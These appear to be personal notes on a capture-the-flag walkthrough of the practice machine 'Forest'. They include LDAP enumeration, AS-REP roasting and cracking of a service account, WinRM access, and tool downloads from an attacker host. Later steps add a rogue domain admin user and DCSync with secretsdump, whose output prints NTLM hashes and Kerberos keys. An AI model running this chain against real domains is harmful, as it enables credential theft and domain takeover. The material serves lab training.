Forest¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
Anonymous LDAP/RPC user enum
→ AS-REP roast svc-alfresco
→ crack hash
→ WinRM as svc-alfresco
→ abuse Exchange Windows Permissions path
→ grant DCSync to controlled user
→ secretsdump
→ Pass-the-Hash as Administrator
→ root flag
walkthrough¶
10.129.34.207
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-01-08T20:58:33-08:00
| smb2-time:
| date: 2026-01-09T04:58:33
|_ start_date: 2026-01-09T04:49:56
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h46m50s, deviation: 4h37m11s, median: 6m48s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.37 seconds
ldap匿名調査 • LDAP が 匿名バインド/読み取り を許してないか
ldapsearch -x -H ldap://10.129.34.207 -s base -b "" \
"(objectClass=*)" defaultNamingContext namingContexts supportedLDAPVersion
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" \
"(objectClass=*)" dn | head
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" \
"(objectClass=user)" sAMAccountName | head
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt \
"(objectClass=*)" dn -LLL | grep -c '^dn:'
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt \
"(&(objectCategory=person)(objectClass=user))" sAMAccountName -LLL | grep -c '^sAMAccountName:'
ldapsearch -x -H ldap://10.129.34.207 -b "CN=Users,DC=htb,DC=local" -E pr=200/noprompt \
"(objectClass=user)" dn sAMAccountName -LLL | head -n 50
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt \
"(objectClass=*)" dn -LLL | tail -n 20
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt \
"(&(objectCategory=person)(objectClass=user))" sAMAccountName -LLL
dn: CN=Guest,CN=Users,DC=htb,DC=local
sAMAccountName: Guest
dn: CN=DefaultAccount,CN=Users,DC=htb,DC=local
sAMAccountName: DefaultAccount
dn: CN=Exchange Online-ApplicationAccount,CN=Users,DC=htb,DC=local
sAMAccountName: $331000-VK4ADACQNUCA
dn: CN=SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_2c8eef0a09b545acb
dn: CN=SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_ca8c2ed5bdab4dc9b
dn: CN=SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_75a538d3025e4db9a
dn: CN=DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852},CN=Users,
DC=htb,DC=local
sAMAccountName: SM_681f53d4942840e18
dn: CN=Migration.8f3e7716-2011-43e4-96b1-aba62d229136,CN=Users,DC=htb,DC=local
sAMAccountName: SM_1b41c9286325456bb
dn: CN=FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042,CN=Users,DC=htb,DC=
local
sAMAccountName: SM_9b69f1b9d2cc45549
dn: CN=SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_7c96b981967141ebb
dn: CN=SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_c75ee099d0a64c91b
dn: CN=SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_1ffab36a2f5f479cb
dn: CN=HealthMailboxc3d7722415ad41a5b19e3e00e165edbe,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxc3d7722
dn: CN=HealthMailboxfc9daad117b84fe08b081886bd8a5a50,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxfc9daad
dn: CN=HealthMailboxc0a90c97d4994429b15003d6a518f3f5,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxc0a90c9
dn: CN=HealthMailbox670628ec4dd64321acfdf6e67db3a2d8,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox670628e
dn: CN=HealthMailbox968e74dd3edb414cb4018376e7dd95ba,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox968e74d
dn: CN=HealthMailbox6ded67848a234577a1756e072081d01f,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox6ded678
dn: CN=HealthMailbox83d6781be36b4bbf8893b03c2ee379ab,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox83d6781
dn: CN=HealthMailboxfd87238e536e49e08738480d300e3772,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxfd87238
dn: CN=HealthMailboxb01ac647a64648d2a5fa21df27058a24,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxb01ac64
dn: CN=HealthMailbox7108a4e350f84b32a7a90d8e718f78cf,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox7108a4e
dn: CN=HealthMailbox0659cc188f4c4f9f978f6c2142c4181e,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox0659cc1
dn: CN=Sebastien Caron,OU=Exchange Administrators,OU=Information Technology,OU
=Employees,DC=htb,DC=local
sAMAccountName: sebastien
dn: CN=Lucinda Berger,OU=IT Management,OU=Information Technology,OU=Employees,
DC=htb,DC=local
sAMAccountName: lucinda
dn: CN=Andy Hislip,OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,D
C=local
sAMAccountName: andy
dn: CN=Mark Brandt,OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb,
DC=local
sAMAccountName: mark
dn: CN=Santi Rodriguez,OU=Developers,OU=Information Technology,OU=Employees,DC
=htb,DC=local
sAMAccountName: santi
# refldap://ForestDnsZones.htb.local/DC=ForestDnsZones,DC=htb,DC=local
# refldap://DomainDnsZones.htb.local/DC=DomainDnsZones,DC=htb,DC=local
# refldap://htb.local/CN=Configuration,DC=htb,DC=local
# pagedresults: cookie=
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" sAMAccountName
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" "(objectClass=user)" sAMAccountName
dnsゾーン転送調査
• DNS に ゾーン転送 が許可されてないか
dig @10.129.34.207 htb.local NS +short
dig @10.129.34.207 htb.local SOA +short
dig @10.129.34.207 htb.local AXFR
2) “ユーザ名の収集” を最優先にする
AD で一番強いのは結局 ユーザ名リストです。ユーザ名が揃うと次ができます：
• Kerberos の設定不備チェック（ユーザごと）
• パスワードポリシーに沿った試行（学習環境に限る）
• Spray/ロックアウト条件の把握（やる/やらないの判断材料）
ロックアウト確認
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -s base \
"(objectClass=domain)" lockoutThreshold lockoutDuration lockoutObservationWindow minPwdLength maxPwdAge -LLL
dn: DC=htb,DC=local
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 0
maxPwdAge: -9223372036854775808
minPwdLength: 7
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$
権限も確認できないか
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt \
"(&(objectCategory=person)(objectClass=user)(|(sAMAccountName=andy)(sAMAccountName=lucinda)(sAMAccountName=mark)(sAMAccountName=santi)(sAMAccountName=sebastien)))" \
sAMAccountName memberOf adminCount description info servicePrincipalName userAccountControl pwdLastSet lastLogonTimestamp -LLL
dn: CN=Andy Hislip,OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,D
C=local
userAccountControl: 66048
pwdLastSet: 132136658562910820
sAMAccountName: andy
dn: CN=Mark Brandt,OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb,
DC=local
userAccountControl: 66048
pwdLastSet: 132134938502435678
sAMAccountName: mark
dn: CN=Santi Rodriguez,OU=Developers,OU=Information Technology,OU=Employees,DC
=htb,DC=local
userAccountControl: 66048
pwdLastSet: 132134941751348277
sAMAccountName: santi
dn: CN=Lucinda Berger,OU=IT Management,OU=Information Technology,OU=Employees,
DC=htb,DC=local
userAccountControl: 66048
pwdLastSet: 132134138532338911
sAMAccountName: lucinda
dn: CN=Sebastien Caron,OU=Exchange Administrators,OU=Information Technology,OU
=Employees,DC=htb,DC=local
userAccountControl: 66048
pwdLastSet: 132134129995447247
sAMAccountName: sebastien
lastLogonTimestamp: 132134965694676682
# refldap://ForestDnsZones.htb.local/DC=ForestDnsZones,DC=htb,DC=local
# refldap://DomainDnsZones.htb.local/DC=DomainDnsZones,DC=htb,DC=local
# refldap://htb.local/CN=Configuration,DC=htb,DC=local
# pagedresults: cookie=
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$
3) Kerberos で「設定ミス由来でオフライン解析できるもの」がないか
Kerberos は、設定によっては ネットワーク上で取り、オフラインで検証できる情報が出ます（＝ログが残りにくく、OSCPでよく出る）。
ここは “どういう条件で起きるか” を理解するのが肝です。
Kerberos 88/tcp open + DC = 即試す
impacket-GetNPUsers htb.local/ -dc-ip 10.129.34.207 -usersfile users.txt -no-pass
impacket-GetNPUsers htb.local/ -dc-ip 10.129.34.207 -usersfile users_human_candidates.txt -no-pass
hashcat -m 18200 asrep.hash rockyou.txt
john asrep.hash --wordlist=rockyou.txt
ステップ①：AS-REP Roast 対象だけをLDAPで抽出（最短ルート） 「事前認証不要（DONT_REQUIRE_PREAUTH）」が付いているユーザだけを絞ります。
ldapsearch -x -H ldap://10.129.34.207 \
-b "DC=htb,DC=local" \
"(&(objectClass=user)(!(objectClass=computer))(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
impacket-GetNPUsers htb.local/ -dc-ip 10.129.34.207 -usersfile users_human_candidates.txt -no-pass
──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ impacket-GetNPUsers htb.local/ -dc-ip 10.129.34.207 -usersfile users_human_candidates.txt -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$
impacket-GetNPUsers htb.local/ -dc-ip 10.129.34.207 -no-pass
4) SMB は「署名必須」を踏まえて、共有/権限/ファイル漏えいを見る • 共有に 読み取り可能なスクリプト・バックアップ・パスワードメモ がないか • SYSVOL/NETLOGON 周り（GPO/ログオンスクリプト）に漏れがないか （署名必須でも、この手の“置いてある情報”は別問題）
SMB署名必須で「できないこと / できること」
❌ できないこと
SMB リレー攻撃
MITM による認証ハイジャック
NTLM リレー → 管理者昇格
smb列挙
crackmapexec smb <IP> -u <user> -p <pass> --shares
smbclient -L //<IP> -U <user>
ユーザリストがある場合
crackmapexec smb 10.129.34.207 -u users.txt -p '<password>' --continue-on-success
crackmapexec smb 10.129.34.207 -u users.txt -p 'Password123!'
crackmapexec smb 10.129.34.207 -u <user> -p <pass> --shares
認証できたユーザで共有列挙
crackmapexec smb 10.129.34.207 -u <user> -p <pass> --shares
smbclient //<IP>/<SHARE> -U <user>
recurse ON prompt OFF
ls
smbclient //10.129.34.207/SYSVOL -U <user>
smbclient //10.129.34.207/NETLOGON -U <user>
smbclient //10.129.34.207/SYSVOL -U <user>
smbclient //10.129.34.207/NETLOGON -U <user>
cpassword / パスワード文字列探索
grep -R "password" . grep -R "cpassword" . grep -R "password" . grep -R "cpassword" .
gpp-decrypt
enum4linux 10.129.34.207
GetNPUsers.py HTB.local -usersfile users_human_candidates.txt -no-pass -dc-ip 10.129.34.207
john svc-alfresco.hash --wordlist=/usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ GetNPUsers.py htb.local/ -usersfile users_human_candidates.txt -no-pass -dc-ip 10.129.34.207
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc-alfresco@HTB.LOCAL:89d1cfcc30b9f6d49b9eb542e4b929d8$8fab7612a7fefb16b4ba0b30cfbbbdb7440a665a83181435d20cdb3679f9b80c07a33a9b12e5681b56f7e5024197f03710700658516b44519c061ede955e3debe959b7d32c2ccfd7f2e66f6f8c23245434acf663d43a1ac5911bd9d5685b36ef6898f94cf3a6dc1c98ada52736c14df2d3b8260f3dff3aac80096b55c0fabfcbcdc32d55a8226725c35cc749d800e6e751649d352efb9682fe01e59ab491584a2b6e60297dac4a7e2e694ce36496a7dbf85d6f80b04ddbf62379253ac003957cb85c04bbcefd9e03777d791ecbb767088729141c8310570775740bd6bdc49e9d9f3397bf1009
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ john svc-alfresco.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 ASIMD 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:03 DONE (2026-01-09 15:29) 0.2739g/s 1119Kp/s 1119Kc/s 1119KC/s s521379846..s2698813
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$
svc-alfresco@HTB.LOCAL:s3rvice svc-alfresco s3rvice
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
└─$ netexec winrm 10.129.34.207 -u svc-alfresco -p 's3rvice' --continue-on-success
WINRM 10.129.34.207 5985 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.34.207 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
┌──(kali㉿kali)-[~/htb/Forest/10.129.34.207]
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop>
evil-winrm -i 10.129.34.207 -u svc-alfresco -p 's3rvice'
5) 情報が揃ったら “ADの関係性” を図にする • ユーザ/グループ/ACL/委任/権限の繋がり ここは BloodHound 的な発想（※名前を挙げるだけ）で、最短ルートが見つかりやすいです。
upload /？？？？/SharpHound.ps1 c:\temp\SharpHound.ps1
iwr -uri http://10.10.16.12/SharpHound.ps1 -Outfile SharpHound.ps1
powershell -ep bypass
Import-Module .\SharpHound.ps1
Import-Module .\Sharphound.ps1
Get-Command Invoke-BloodHound
Get-Help Invoke-BloodHound
Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -CompressData -RemoveCSV -NoSaveCache
Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -RemoveCSV -NoSaveCache
Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default
Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -OutputDirectory C:\temp
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktopほstな\ -OutputPrefix "corp audit"
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp\ -OutputPrefix "corp audit"
https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors
Invoke-BloodHound -CollectionMethod All -Domain YOUR.DOMAIN.LOCAL -ZipFileName MyData.zip
Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -CompressData
powershell -ep bypass
.\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain domain.tld -ZipFileName output.zip
Import-module ./SharpHound.ps1
Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -CompressData -RemoveCSV -NoSaveCache
here HTBをやられている方 もし、Forestを攻略された方いれば教えていただきたいのですが、 問題の中でSharpHoundを使う箇所があるかと思います。 SharpHound.ps1を実行しても、結果ファイルがどこにも作成されません。 画面上にはエラー含め、何も出力されず終了します。 SharpHoundは以下のv.2.8.1(最新)を使っています。 https://github.com/SpecterOps/SharpHound/tags
SharpHound.exeは32bit版なので、今回のターゲット(64bit)では使えませんでした。 ウォークスルーを見ると普通に結果ファイルが出力されているのですが 何かハマりポイントがあるのでしょうか。
ちなみに、以下のlegacyなるものでも結果は同じで結果ファイルが生成されませんでした。 https://github.com/SpecterOps/BloodHound-Legacy/blob/master/Collectors/SharpHound.ps1
bloodhound-python -u 'svc-alfresco' -p '<password>' -d htb.local -dc 10.129.88.28 -ns 10.129.88.28 -c All
ls
download 20200312135606_BloodHound.zip
sudo apt install bloodhound
sudo neo4j console
bloodhound
.\Rubeus.exe kerberoast /nowrap
Invoke-Kerberoast
hashcat -m 13100 hashes.txt rockyou.txt
iwr -Uri http://10.10.16.12/Rubeus.exe -OutFile Rubeus.exe
cd C:\Tools
.\Rubeus.exe asreproast /nowrap
.\Rubeus.exe kerberoast /user:EXCH01$ /nowrap
.\Rubeus.exe kerberoast /user:EXCH01$ /nowrap /aes
.\Rubeus.exe kerberoast /user:EXCH01$ /nowrap /tgtdeleg
.\Rubeus.exe kerberoast /ldapfilter:"(servicePrincipalName=*)" /nowrap
sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
hashcat -m 13100 exch01.hash rockyou.txt
net user evil P@ssw0rd! /add /domain
net group "Exchange Windows Permissions" evil /add /domain
net group "Organization Management" evil /add /domain
net localgroup "Remote Management Users" evil /add
net localgroup Administrators evil /add
evil-winrm -i 10.129.34.207 -u evil -p 'P@ssw0rd!'
whoami /groups
wmiexec.py htb/evil:'P@ssw0rd!'@10.129.34.207
psexec.py htb/evil:'P@ssw0rd!'@10.129.34.207
DCSync
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
dacledit.py -action write -rights DCSync -principal evil -target-dn "DC=htb,DC=local" -dc-ip 10.129.34.207 htb/evil:'P@ssw0rd!'
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207 -just-dc
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207 -use-vss
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
net user evil P@ssw0rd! /add /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user evil P@ssw0rd! /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" evil /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Organization Management" evil /add /domain
The command completed successfully.
evil P@ssw0rd!
evil-winrm -i 10.129.34.207 -u evil -p 'P@ssw0rd!'
whoami /groups
┌──(kali㉿kali)-[~/BloodHound-Legacy/Collectors]
└─$ secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
evil:10101:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:4e5cc917fe2f75f7681691ab91e665a2:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
